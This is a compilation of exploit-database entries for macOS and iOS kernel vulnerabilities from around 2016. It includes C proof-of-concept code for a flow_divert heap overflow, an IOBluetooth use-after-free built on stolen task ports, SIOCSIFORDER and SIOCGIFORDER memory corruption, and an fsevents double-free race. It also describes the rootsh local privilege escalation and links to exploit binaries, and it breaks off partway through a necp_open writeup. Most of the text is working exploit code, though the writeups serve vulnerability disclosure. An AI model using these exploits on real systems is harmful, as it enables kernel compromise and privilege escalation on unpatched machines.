tested on OS X 10.11.6 (15G31) on MacBookPro10,1


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40654.zip
            
/*
 * flow_divert-heap-overflow.c
 * Brandon Azad
 *
 * CVE-2016-1827: Kernel heap overflow in the function flow_divert_handle_app_map_create on OS X
 * and iOS. Exploitation requires root privileges. The vulnerability was patched in OS X El Capitan
 * 10.11.5 and iOS 9.3.2.
 *
 * This proof-of-concept triggers a kernel panic on OS X Yosemite. In El Capitan the length fields
 * were changed from 64 bits to 32 bits, so the message structure will need to be updated
 * accordingly. This exploit has not been tested on iOS.
 * 
 * Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44238.zip
 */

#include <net/if.h>
#include <string.h>
#include <sys/sys_domain.h>
#include <sys/kern_control.h>
#include <sys/ioctl.h>
#include <unistd.h>

int main() {
	int ctlfd = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
	if (ctlfd == -1) {
		return 1;
	}
	struct ctl_info info = { .ctl_id = 0 };
	strncpy(info.ctl_name, "com.apple.flow-divert", sizeof(info.ctl_name));
	int err = ioctl(ctlfd, CTLIOCGINFO, &info);
	if (err) {
		return 2;
	}
	struct sockaddr_ctl addr = {
		.sc_len     = sizeof(addr),
		.sc_family  = AF_SYSTEM,
		.ss_sysaddr = AF_SYS_CONTROL,
	};
	addr.sc_id = info.ctl_id;
	addr.sc_unit = 0;
	err = connect(ctlfd, (struct sockaddr *)&addr, sizeof(addr));
	if (err) {
		return 3;
	}
	struct __attribute__((packed)) {
		uint8_t  type;
		uint8_t  pad1[3];
		uint32_t conn_id;
		uint8_t  prefix_count_tag;
		uint64_t prefix_count_length;
		int      prefix_count;
		uint8_t  signing_id_tag;
		uint64_t signing_id_length;
		uint8_t  signing_id[512 + 4];
	} message = {
		.type                = 9,
		.conn_id             = htonl(0),
		.prefix_count_tag    = 28,
		.prefix_count_length = htonl(sizeof(int)),
		.prefix_count        = -2,
		.signing_id_tag      = 25,
		.signing_id_length   = htonl(sizeof(message.signing_id)),
		.signing_id          = { 0xaa },
	};
	write(ctlfd, &message, sizeof(message));
	close(ctlfd);
	return 4;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=830

When you create a new IOKit user client from userspace you call:

  kern_return_t IOServiceOpen( io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect );

The owningTask mach port gets converted into a task struct pointer by the MIG deserialization code which then takes
a reference on the task, calls is_io_service_open_extended passing the task struct then drops its reference.

is_io_service_open_extended will then call through to any overriden newUserClient or initWithTask methods implemented
by the service.

If those services want to keep a pointer to the "owningTask" then it's very important that they actually take a reference.

We can actually pass any task port as the "owningTask" which means that if the userclient doesn't take a reference
we can easily pass the task port for another task, kill that task (freeing the task struct) then get the user client
to use the free'd task struct.

IOBluetoothHCIUserClient (userclient type 0 of IOBluetoothHCIController) can be instantiated by a regular user
and stores a raw task struct pointer at this+0xe0 without taking a reference.

This pointer is then used in IOBluetoothHCIUserClient::SimpleDispatchWL to build and manipulate IOMemoryDescriptors.

This PoC forks off a child which sends the parent back its task port then spins. The parent then creates a new IOBluetoothHCIUserClient
passing the child's task port as the owningTask then sigkills the child (freeing it's task struct.) The parent then invokes
an external method on the user client leading to the UaF.

The IOMemoryDescriptor code does sufficiently weird stuff with the task struct and the memory map hanging off it that
this bug is clearly exploitable as just a plain memory corruption issue but can probably be leveraged for more interesting
logic stuff too.

Note that bluetooth does have to be turned on for this PoC to work!

build: clang -o bluetooth_uaf bluetooth_uaf.c -framework IOKit

You should set gzalloc_min=1024 gzalloc_max=2048 or similar to actually fault on the UaF - otherwise you might see some weird panics!

tested on OS X 10.11.5 (15F34) on MacBookAir5,2
*/

// ianbeer

/*
OS X kernel use-after-free in IOBluetoothFamily.kext

When you create a new IOKit user client from userspace you call:

  kern_return_t IOServiceOpen( io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect );

The owningTask mach port gets converted into a task struct pointer by the MIG deserialization code which then takes
a reference on the task, calls is_io_service_open_extended passing the task struct then drops its reference.

is_io_service_open_extended will then call through to any overriden newUserClient or initWithTask methods implemented
by the service.

If those services want to keep a pointer to the "owningTask" then it's very important that they actually take a reference.

We can actually pass any task port as the "owningTask" which means that if the userclient doesn't take a reference
we can easily pass the task port for another task, kill that task (freeing the task struct) then get the user client
to use the free'd task struct.

IOBluetoothHCIUserClient (userclient type 0 of IOBluetoothHCIController) can be instantiated by a regular user
and stores a raw task struct pointer at this+0xe0 without taking a reference.

This pointer is then used in IOBluetoothHCIUserClient::SimpleDispatchWL to build and manipulate IOMemoryDescriptors.

This PoC forks off a child which sends the parent back its task port then spins. The parent then creates a new IOBluetoothHCIUserClient
passing the child's task port as the owningTask then sigkills the child (freeing it's task struct.) The parent then invokes
an external method on the user client leading to the UaF.

The IOMemoryDescriptor code does sufficiently weird stuff with the task struct and the memory map hanging off it that
this bug is clearly exploitable as just a plain memory corruption issue but can probably be leveraged for more interesting
logic stuff too.

Note that bluetooth does have to be turned on for this PoC to work!

build: clang -o bluetooth_uaf bluetooth_uaf.c -framework IOKit

You should set gzalloc_min=1024 gzalloc_max=2048 or similar to actually fault on the UaF - otherwise you might see some weird panics!

tested on OS X 10.11.5 (15F34) on MacBookAir5,2
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sys/stat.h>

#include <libkern/OSAtomic.h>
#include <mach/mach.h>
#include <mach/mach_error.h>
#include <mach/mach_vm.h>
#include <mach/task.h>
#include <mach/task_special_ports.h>

#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>


#define MACH_ERR(str, err) do { \
  if (err != KERN_SUCCESS) {    \
    mach_error("[-]" str "\n", err); \
    exit(EXIT_FAILURE);         \
  }                             \
} while(0)

#define FAIL(str) do { \
  printf("[-] " str "\n");  \
  exit(EXIT_FAILURE);  \
} while (0)

#define LOG(str) do { \
  printf("[+] " str"\n"); \
} while (0)

/***************
 * port dancer *
 ***************/

// set up a shared mach port pair from a child process back to its parent without using launchd
// based on the idea outlined by Robert Sesek here: https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html

// mach message for sending a port right
typedef struct {
  mach_msg_header_t header;
  mach_msg_body_t body;
  mach_msg_port_descriptor_t port;
} port_msg_send_t;

// mach message for receiving a port right
typedef struct {
  mach_msg_header_t header;
  mach_msg_body_t body;
  mach_msg_port_descriptor_t port;
  mach_msg_trailer_t trailer;
} port_msg_rcv_t;

typedef struct {
  mach_msg_header_t  header;
} simple_msg_send_t;

typedef struct {
  mach_msg_header_t  header;
  mach_msg_trailer_t trailer;
} simple_msg_rcv_t;

#define STOLEN_SPECIAL_PORT TASK_BOOTSTRAP_PORT

// a copy in the parent of the stolen special port such that it can be restored
mach_port_t saved_special_port = MACH_PORT_NULL;

// the shared port right in the parent
mach_port_t shared_port_parent = MACH_PORT_NULL;

void setup_shared_port() {
  kern_return_t err;
  // get a send right to the port we're going to overwrite so that we can both
  // restore it for ourselves and send it to our child
  err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &saved_special_port);
  MACH_ERR("saving original special port value", err);

  // allocate the shared port we want our child to have a send right to
  err = mach_port_allocate(mach_task_self(),
                           MACH_PORT_RIGHT_RECEIVE,
                           &shared_port_parent);

  MACH_ERR("allocating shared port", err);

  // insert the send right
  err = mach_port_insert_right(mach_task_self(),
                               shared_port_parent,
                               shared_port_parent,
                               MACH_MSG_TYPE_MAKE_SEND);
  MACH_ERR("inserting MAKE_SEND into shared port", err);

  // stash the port in the STOLEN_SPECIAL_PORT slot such that the send right survives the fork
  err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, shared_port_parent);
  MACH_ERR("setting special port", err);
}

mach_port_t recover_shared_port_child() {
  kern_return_t err;

  // grab the shared port which our parent stashed somewhere in the special ports
  mach_port_t shared_port_child = MACH_PORT_NULL;
  err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &shared_port_child);
  MACH_ERR("child getting stashed port", err);

  LOG("child got stashed port");

  // say hello to our parent and send a reply port so it can send us back the special port to restore

  // allocate a reply port
  mach_port_t reply_port;
  err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
  MACH_ERR("child allocating reply port", err);

  // send the reply port in a hello message
  simple_msg_send_t msg = {0};

  msg.header.msgh_size = sizeof(msg);
  msg.header.msgh_local_port = reply_port;
  msg.header.msgh_remote_port = shared_port_child;

  msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);

  err = mach_msg_send(&msg.header);
  MACH_ERR("child sending task port message", err);

  LOG("child sent hello message to parent over shared port");

  // wait for a message on the reply port containing the stolen port to restore
  port_msg_rcv_t stolen_port_msg = {0};
  err = mach_msg(&stolen_port_msg.header, MACH_RCV_MSG, 0, sizeof(stolen_port_msg), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
  MACH_ERR("child receiving stolen port\n", err);

  // extract the port right from the message
  mach_port_t stolen_port_to_restore = stolen_port_msg.port.name;
  if (stolen_port_to_restore == MACH_PORT_NULL) {
    FAIL("child received invalid stolen port to restore");
  }

  // restore the special port for the child
  err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, stolen_port_to_restore);
  MACH_ERR("child restoring special port", err);

  LOG("child restored stolen port");
  return shared_port_child;
}

mach_port_t recover_shared_port_parent() {
  kern_return_t err;

  // restore the special port for ourselves
  err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, saved_special_port);
  MACH_ERR("parent restoring special port", err);

  // wait for a message from the child on the shared port
  simple_msg_rcv_t msg = {0};
  err = mach_msg(&msg.header,
                 MACH_RCV_MSG,
                 0,
                 sizeof(msg),
                 shared_port_parent,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);
  MACH_ERR("parent receiving child hello message", err);

  LOG("parent received hello message from child");

  // send the special port to our child over the hello message's reply port
  port_msg_send_t special_port_msg = {0};

  special_port_msg.header.msgh_size        = sizeof(special_port_msg);
  special_port_msg.header.msgh_local_port  = MACH_PORT_NULL;
  special_port_msg.header.msgh_remote_port = msg.header.msgh_remote_port;
  special_port_msg.header.msgh_bits        = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits), 0) | MACH_MSGH_BITS_COMPLEX;
  special_port_msg.body.msgh_descriptor_count = 1;

  special_port_msg.port.name        = saved_special_port;
  special_port_msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
  special_port_msg.port.type        = MACH_MSG_PORT_DESCRIPTOR;

  err = mach_msg_send(&special_port_msg.header);
  MACH_ERR("parent sending special port back to child", err);

  return shared_port_parent;
}

/*** end of port dancer code ***/

void do_child(mach_port_t shared_port) {
  kern_return_t err;

  // create a reply port to receive an ack that we should exec the target
  mach_port_t reply_port;
  err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
  MACH_ERR("child allocating reply port", err);

  // send our task port to our parent over the shared port
  port_msg_send_t msg = {0};

  msg.header.msgh_size = sizeof(msg);
  msg.header.msgh_local_port = reply_port;
  msg.header.msgh_remote_port = shared_port;
  msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX;

  msg.body.msgh_descriptor_count = 1;

  msg.port.name = mach_task_self();
  msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
  msg.port.type = MACH_MSG_PORT_DESCRIPTOR;

  err = mach_msg_send(&msg.header);
  MACH_ERR("child sending task port message", err);

  LOG("child sent task port back to parent");

  // spin and let our parent kill us
  while(1){;}
}

mach_port_t do_parent(mach_port_t shared_port) {
  kern_return_t err;

  // wait for our child to send us its task port
  port_msg_rcv_t msg = {0};
  err = mach_msg(&msg.header,
                 MACH_RCV_MSG,
                 0,
                 sizeof(msg),
                 shared_port,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);
  MACH_ERR("parent receiving child task port message", err);

  mach_port_t child_task_port = msg.port.name;
  if (child_task_port == MACH_PORT_NULL) {
    FAIL("invalid child task port");
  }

  LOG("parent received child's task port");

  return child_task_port;
}

io_connect_t get_connection(mach_port_t task_port) {
  kern_return_t err;
  mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));

  if (service == MACH_PORT_NULL) {
    printf("unable to get service\n");
    return MACH_PORT_NULL;
  }

  io_connect_t conn = MACH_PORT_NULL;

  err = IOServiceOpen(service, task_port, 0, &conn); // 1 = IOBluetoothHCIUserClient
  if (err != KERN_SUCCESS){
    printf("IOServiceOpen failed: %s\n", mach_error_string(err));
    conn = MACH_PORT_NULL;
  }
  IOObjectRelease(service);

  return conn;   
}

void trigger(int child_pid, mach_port_t child_task_port) {
  kern_return_t err;
  // get the userclient passing the child's task port
  io_connect_t conn = get_connection(child_task_port);
  if (conn == MACH_PORT_NULL){
    printf("unable to get connection\n");
    return;
  }

  printf("got user client\n");

  // drop our ref on the child_task_port
  mach_port_deallocate(mach_task_self(), child_task_port);

  // kill the child, free'ing its task struct
  kill(child_pid, 9);
  int status;
  wait(&status);

  printf("killed child\n");

  // make an external method call which will use that free'd task struct
  char struct_input[0x74] = {0};

  //+0x70 dword = index into sroutines
  //+0x38 dword = size of first argument
  //+0x0 qword = pointer to first argument
  struct_input[0x38] = 0x80;
  *(uint64_t*)(&struct_input[0]) = 0x414141414141;

  err = IOConnectCallMethod(conn,
                            0,
                            NULL,
                            0,
                            struct_input,
                            0x74,
                            NULL,
                            NULL,
                            NULL,
                            NULL);
  MACH_ERR("making external method call", err);
  
}

int main(int argc, char** argv) {
  setup_shared_port();

  pid_t child_pid = fork();
  if (child_pid == -1) {
    FAIL("forking");
  }

  if (child_pid == 0) {
    mach_port_t shared_port_child = recover_shared_port_child();
    do_child(shared_port_child);
  } else {
    mach_port_t shared_port_parent = recover_shared_port_parent();
    mach_port_t child_task_port = do_parent(shared_port_parent);
    trigger(child_pid, child_task_port);
  }

  return 0;
}
            
## rootsh

rootsh is a local privilege escalation targeting OS X Yosemite 10.10.5 build
14F27. It exploits [CVE-2016-1758] and [CVE-2016-1828], two vulnerabilities in
XNU that were patched in OS X El Capitan [10.11.4] and [10.11.5]. rootsh will
not work on platforms with SMAP enabled.

[CVE-2016-1758]: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-1758
[CVE-2016-1828]: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-1828
[10.11.4]: https://support.apple.com/en-us/HT206167
[10.11.5]: https://support.apple.com/en-us/HT206567

### CVE-2016-1758

CVE-2016-1758 is an information leak caused by copying out uninitialized bytes
of kernel stack to user space. By comparing leaked kernel pointers with fixed
reference addresses it is possible to recover the kernel slide.

### CVE-2016-1828

CVE-2016-1828 is a use-after-free during object deserialization. By passing a
crafted binary-serialized dictionary into the kernel, it is possible to trigger
a virtual method invocation on an object with a controlled vtable pointer.

### License

The rootsh code is released into the public domain. As a courtesy I ask that if
you use any of this code in another project you attribute it to me.


Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44239.zip
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1108

SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox.

it falls through to calling:
  ifnet_reset_order(ordered_indices, ifo->ifo_count)
where ordered_indicies points to attacker-controlled bytes.

ifnet_reset_order contains this code:

  for (u_int32_t order_index = 0; order_index < count; order_index++) {
    u_int32_t interface_index = ordered_indices[order_index];  <---------------- (a)
    if (interface_index == IFSCOPE_NONE ||
        (int)interface_index > if_index) {           <-------------------------- (b)
      break;
    }
    ifp = ifindex2ifnet[interface_index];            <-------------------------- (c)
    if (ifp == NULL) {
      continue;
    }
    ifnet_lock_exclusive(ifp);
    TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link);    <---------- (d)
    ifnet_lock_done(ifp);
    if_ordered_count++;
  }

at (a) a controlled 32-bit value is read into an unsigned 32-bit variable.
at (b) this value is cast to a signed type for a bounds check
at (c) this value is used as an unsigned index

by providing a value with the most-significant bit set making it negative when cast to a signed type
we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds
below the ifindex2ifnet array.

This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure.

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2

(on 64-bit platforms the array index wouldn't wrap around so the read would actually occur > 2GB above the array, not below)
*/

// ianbeer
#if 0
MacOS/iOS kernel memory corruption due to Bad bounds checking in SIOCSIFORDER socket ioctl

SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox.

it falls through to calling:
  ifnet_reset_order(ordered_indices, ifo->ifo_count)
where ordered_indicies points to attacker-controlled bytes.

ifnet_reset_order contains this code:

  for (u_int32_t order_index = 0; order_index < count; order_index++) {
    u_int32_t interface_index = ordered_indices[order_index];  <---------------- (a)
    if (interface_index == IFSCOPE_NONE ||
        (int)interface_index > if_index) {           <-------------------------- (b)
      break;
    }
    ifp = ifindex2ifnet[interface_index];            <-------------------------- (c)
    if (ifp == NULL) {
      continue;
    }
    ifnet_lock_exclusive(ifp);
    TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link);    <---------- (d)
    ifnet_lock_done(ifp);
    if_ordered_count++;
  }

at (a) a controlled 32-bit value is read into an unsigned 32-bit variable.
at (b) this value is cast to a signed type for a bounds check
at (c) this value is used as an unsigned index

by providing a value with the most-significant bit set making it negative when cast to a signed type
we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds
below the ifindex2ifnet array.

This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure.

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#include <sys/ioctl.h>
#include <sys/socket.h>

#include <mach/mach.h>

struct if_order {
	u_int32_t			ifo_count;
	u_int32_t			ifo_reserved;
	mach_vm_address_t	ifo_ordered_indices; /* array of u_int32_t */
};

#define SIOCSIFORDER  _IOWR('i', 178, struct if_order)

int main() {
	uint32_t data[] = {0x80001234};

	struct if_order ifo;
  ifo.ifo_count = 1;
  ifo.ifo_reserved = 0;
  ifo.ifo_ordered_indices = (mach_vm_address_t)data;

  int fd = socket(PF_INET, SOCK_STREAM, 0);
  int ret = ioctl(fd, SIOCSIFORDER, &ifo);

  return 0;
}
            
/*

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1111

SIOCSIFORDER and SIOCGIFORDER allow userspace programs to build and maintain the
ifnet_ordered_head linked list of interfaces.

SIOCSIFORDER clears the existing list and allows userspace to specify an array of
interface indexes used to build a new list.

SIOCGIFORDER allow userspace to query the list of interface identifiers used to build
that list.

Here's the relevant code for SIOCGIFORDER:

    case SIOCGIFORDER: {    /* struct if_order */
      struct if_order *ifo = (struct if_order *)(void *)data;
      
      u_int32_t ordered_count = if_ordered_count;   <----------------- (a)
      
      if (ifo->ifo_count == 0 ||
          ordered_count == 0) {
        ifo->ifo_count = ordered_count;
      } else if (ifo->ifo_ordered_indices != USER_ADDR_NULL) {
        u_int32_t count_to_copy =
        MIN(ordered_count, ifo->ifo_count);          <---------------- (b)
        size_t length = (count_to_copy * sizeof(u_int32_t));
        struct ifnet *ifp = NULL;
        u_int32_t cursor = 0;
        
        ordered_indices = _MALLOC(length, M_NECP, M_WAITOK);
        if (ordered_indices == NULL) {
          error = ENOMEM;
          break;
        }
        
        ifnet_head_lock_shared();
        TAILQ_FOREACH(ifp, &ifnet_ordered_head, if_ordered_link) {
          if (cursor > count_to_copy) {            <------------------ (c)
            break;
          }
          ordered_indices[cursor] = ifp->if_index; <------------------ (d)
          cursor++;
        }
        ifnet_head_done();


at (a) it reads the actual length of the list (of course it should take the lock here too,
but that's not the bug I'm reporting)

at (b) it computes the number of entries it wants to copy as the minimum of the requested number
and the actual number of entries in the list

the loop at (c) iterates through the list of all entries and the check at (c) is supposed to check that
the write at (d) won't go out of bounds, but it should be a >=, not a >, as cursor is the number of
elements *already* written. If count_to_copy is 0, and cursor is 0 the write will still happen!

By requesting one fewer entries than are actually in the list the code will always write one interface index
entry one off the end of the ordered_indices array.

This poc makes a list with 5 entries then requests 4. This allocates a 16-byte kernel buffer to hold the 4 entries
then writes 5 entries into there.

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
*/

// ianbeer
// add gzalloc_size=16 to boot args to see the actual OOB write more easily
#if 0
MacOS/iOS kernel memory corruption due to off-by-one in SIOCGIFORDER socket ioctl

SIOCSIFORDER and SIOCGIFORDER allow userspace programs to build and maintain the
ifnet_ordered_head linked list of interfaces.

SIOCSIFORDER clears the existing list and allows userspace to specify an array of
interface indexes used to build a new list.

SIOCGIFORDER allow userspace to query the list of interface identifiers used to build
that list.

Here's the relevant code for SIOCGIFORDER:

    case SIOCGIFORDER: {		/* struct if_order */
      struct if_order *ifo = (struct if_order *)(void *)data;
      
      u_int32_t ordered_count = if_ordered_count;   <----------------- (a)
      
      if (ifo->ifo_count == 0 ||
          ordered_count == 0) {
        ifo->ifo_count = ordered_count;
      } else if (ifo->ifo_ordered_indices != USER_ADDR_NULL) {
        u_int32_t count_to_copy =
        MIN(ordered_count, ifo->ifo_count);          <---------------- (b)
        size_t length =	(count_to_copy * sizeof(u_int32_t));
        struct ifnet *ifp = NULL;
        u_int32_t cursor = 0;
        
        ordered_indices = _MALLOC(length, M_NECP, M_WAITOK);
        if (ordered_indices == NULL) {
          error = ENOMEM;
          break;
        }
        
        ifnet_head_lock_shared();
        TAILQ_FOREACH(ifp, &ifnet_ordered_head, if_ordered_link) {
          if (cursor > count_to_copy) {            <------------------ (c)
            break;
          }
          ordered_indices[cursor] = ifp->if_index; <------------------ (d)
          cursor++;
        }
        ifnet_head_done();


at (a) it reads the actual length of the list (of course it should take the lock here too,
but that's not the bug I'm reporting)

at (b) it computes the number of entries it wants to copy as the minimum of the requested number
and the actual number of entries in the list

the loop at (c) iterates through the list of all entries and the check at (c) is supposed to check that
the write at (d) won't go out of bounds, but it should be a >=, not a >, as cursor is the number of
elements *already* written. If count_to_copy is 0, and cursor is 0 the write will still happen!

By requesting one fewer entries than are actually in the list the code will always write one interface index
entry one off the end of the ordered_indices array.

This poc makes a list with 5 entries then requests 4. This allocates a 16-byte kernel buffer to hold the 4 entries
then writes 5 entries into there.

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#include <sys/ioctl.h>
#include <sys/socket.h>

#include <mach/mach.h>

struct if_order {
	u_int32_t			ifo_count;
	u_int32_t			ifo_reserved;
	mach_vm_address_t	ifo_ordered_indices; /* array of u_int32_t */
};

#define SIOCSIFORDER  _IOWR('i', 178, struct if_order)
#define SIOCGIFORDER  _IOWR('i', 179, struct if_order)

void set(int fd, uint32_t n) {
  uint32_t* data = malloc(n*4);
  for (int i = 0; i < n; i++) {
    data[i] = 1;
  }

	struct if_order ifo;
  ifo.ifo_count = n;
  ifo.ifo_reserved = 0;
  ifo.ifo_ordered_indices = (mach_vm_address_t)data;

  ioctl(fd, SIOCSIFORDER, &ifo);
  free(data);
}

void get(int fd, uint32_t n) {
  uint32_t* data = malloc(n*4);
  memset(data, 0, n*4);

	struct if_order ifo;
  ifo.ifo_count = n;
  ifo.ifo_reserved = 0;
  ifo.ifo_ordered_indices = (mach_vm_address_t)data;

  ioctl(fd, SIOCGIFORDER, &ifo);
  free(data);
}

int main() {
  int fd = socket(PF_INET, SOCK_STREAM, 0);
  set(fd, 5);
  get(fd, 4);
  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1129

fseventsf_ioctl handles ioctls on fsevent fds acquired via FSEVENTS_CLONE_64 on /dev/fsevents

Heres the code for the FSEVENTS_DEVICE_FILTER_64 ioctl:

    case FSEVENTS_DEVICE_FILTER_64:
      if (!proc_is64bit(vfs_context_proc(ctx))) {
        ret = EINVAL;
        break;
      }
      devfilt_args = (fsevent_dev_filter_args64 *)data;
      
    handle_dev_filter:
    {
      int new_num_devices;
      dev_t *devices_not_to_watch, *tmp=NULL;
      
      if (devfilt_args->num_devices > 256) {
        ret = EINVAL;
        break;
      }
      
      new_num_devices = devfilt_args->num_devices;
      if (new_num_devices == 0) {
        tmp = fseh->watcher->devices_not_to_watch;   <------ (a)
        
        lock_watch_table();                          <------ (b)
        fseh->watcher->devices_not_to_watch = NULL;
        fseh->watcher->num_devices = new_num_devices;
        unlock_watch_table();                        <------ (c)
        
        if (tmp) {
          FREE(tmp, M_TEMP);                         <------ (d)
        }
        break;
      }

There's nothing stopping two threads seeing the same value for devices_not_to_watch at (a),
assigning that to tmp then freeing it at (d). The lock/unlock at (b) and (c) don't protect this.

This leads to a double free, which if you also race allocations from the same zone can lead to an
exploitable kernel use after free.

/dev/fsevents is:
crw-r--r--  1 root  wheel   13,   0 Feb 15 14:00 /dev/fsevents

so this is a privesc from either root or members of the wheel group to kernel

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2

(build with -O3)

The open handler for the fsevents device node has a further access check:

  if (!kauth_cred_issuser(kauth_cred_get())) {
    return EPERM;
  }

restricting this issue to root only despite the permissions on the device node (which is world-readable)
*/


// ianbeer
#if 0
MacOS/iOS kernel double free due to bad locking in fsevents device

fseventsf_ioctl handles ioctls on fsevent fds acquired via FSEVENTS_CLONE_64 on /dev/fsevents

Heres the code for the FSEVENTS_DEVICE_FILTER_64 ioctl:

    case FSEVENTS_DEVICE_FILTER_64:
      if (!proc_is64bit(vfs_context_proc(ctx))) {
        ret = EINVAL;
        break;
      }
      devfilt_args = (fsevent_dev_filter_args64 *)data;
      
    handle_dev_filter:
    {
      int new_num_devices;
      dev_t *devices_not_to_watch, *tmp=NULL;
      
      if (devfilt_args->num_devices > 256) {
        ret = EINVAL;
        break;
      }
      
      new_num_devices = devfilt_args->num_devices;
      if (new_num_devices == 0) {
        tmp = fseh->watcher->devices_not_to_watch;   <------ (a)
        
        lock_watch_table();                          <------ (b)
        fseh->watcher->devices_not_to_watch = NULL;
        fseh->watcher->num_devices = new_num_devices;
        unlock_watch_table();                        <------ (c)
        
        if (tmp) {
          FREE(tmp, M_TEMP);                         <------ (d)
        }
        break;
      }

There's nothing stopping two threads seeing the same value for devices_not_to_watch at (a),
assigning that to tmp then freeing it at (d). The lock/unlock at (b) and (c) don't protect this.

This leads to a double free, which if you also race allocations from the same zone can lead to an
exploitable kernel use after free.

/dev/fsevents is:
crw-r--r--  1 root  wheel   13,   0 Feb 15 14:00 /dev/fsevents

so this is a privesc from either root or members of the wheel group to kernel

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2

(build with -O3)
#endif

#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <pthread.h>

#include <unistd.h>

typedef uint64_t user64_addr_t;

typedef struct fsevent_clone_args64 {
  user64_addr_t  event_list;
  int32_t        num_events;
  int32_t        event_queue_depth;
  user64_addr_t  fd;
} fsevent_clone_args64;

#define FSEVENTS_CLONE_64 _IOW('s', 1, fsevent_clone_args64)

#pragma pack(push, 4)
typedef struct fsevent_dev_filter_args64 {
  uint32_t       num_devices;
  user64_addr_t  devices;
} fsevent_dev_filter_args64;
#pragma pack(pop)

#define FSEVENTS_DEVICE_FILTER_64 _IOW('s', 100, fsevent_dev_filter_args64)

void* racer(void* thread_arg){
  int fd = *(int*)thread_arg;
  printf("started thread\n");

  fsevent_dev_filter_args64 arg = {0};
  int32_t dev = 0;
 
  while (1) {
    arg.num_devices = 1;
    arg.devices = (user64_addr_t)&dev;
    int err = ioctl(fd, FSEVENTS_DEVICE_FILTER_64, &arg);
    
    if (err == -1) {
      perror("error in FSEVENTS_DEVICE_FILTER_64\n");
      exit(EXIT_FAILURE);
    }
    
    arg.num_devices = 0;
    arg.devices = (user64_addr_t)&dev;

    err = ioctl(fd, FSEVENTS_DEVICE_FILTER_64, &arg);
    
    if (err == -1) {
      perror("error in FSEVENTS_DEVICE_FILTER_64\n");
      exit(EXIT_FAILURE);
    }
  }

  return NULL;
}
int main(){
  int fd = open("/dev/fsevents", O_RDONLY);
  if (fd == -1) {
    perror("can't open fsevents device, are you root?");
    exit(EXIT_FAILURE);
  }

  // have to FSEVENTS_CLONE this to get the real fd
  fsevent_clone_args64 arg = {0};
  int event_fd = 0;
  int8_t event = 0;


  arg.event_list = (user64_addr_t)&event;
  arg.num_events = 1;
  arg.event_queue_depth = 1;
  arg.fd = (user64_addr_t)&event_fd;

  int err = ioctl(fd, FSEVENTS_CLONE_64, &arg);
  
  if (err == -1) {
    perror("error in FSEVENTS_CLONE_64\n");
    exit(EXIT_FAILURE);
  }

  if (event_fd != 0) {
    printf("looks like we got a new fd %d\n", event_fd);
  } else {
    printf("no new fd\n");
  }

  pid_t pid = fork();
  if (pid == 0) {
    racer(&event_fd);
  } else {
    racer(&event_fd);
  }


  return 1;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1116

necp_open is a syscall used to obtain a new necp file descriptor

The necp file's fp's fg_data points to a struct necp_fd_data allocated on the heap.

Here's the relevant code from necp_open:

  error = falloc(p, &fp, &fd, vfs_context_current());  <--------------------- (a)
  if (error != 0) {
    goto done;
  }

  if ((fd_data = _MALLOC(sizeof(struct necp_fd_data), M_NECP,
               M_WAITOK | M_ZERO)) == NULL) {
    error = ENOMEM;
